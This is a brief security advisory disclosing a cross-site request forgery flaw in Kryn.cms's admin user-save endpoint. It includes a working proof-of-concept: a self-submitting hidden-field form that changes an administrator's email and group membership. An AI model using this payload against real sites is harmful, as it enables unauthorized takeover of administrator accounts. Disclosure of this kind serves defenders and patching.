Cross-site Request Forgery (CSRF) in Kryn.cms

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Kryn.cms which could be exploited to perform cross-site request forgery attacks.

1) Cross-site Request Forgery (CSRF) in Kryn.cms
The vulnerability exists due to insufficient validation of the request origin in /admin/backend/window/loadClass/saveItem. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s email address and other information. Successful exploitation requires that victim is logged-in and has access to administrative interface.
Exploitation example:
<form action="http://example.com/admin/backend/window/loadClass/saveItem" name="main" >
<input type="hidden" name="noCache" value="1" />
<input type="hidden" name="rsn" value="3" />
<input type="hidden" name="username" value="test" />
<input type="hidden" name="passwd" value="" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="settings" value='' />
<input type="hidden" name="adminLanguage" value="aa" />
<input type="hidden" name="userBg" value="" />
<input type="hidden" name="groups" value='["1"]' />
<input type="hidden" name="module" value="users" />
<input type="hidden" name="code" value="users/edit" />
</form>
<script>
document.main.submit();
</script>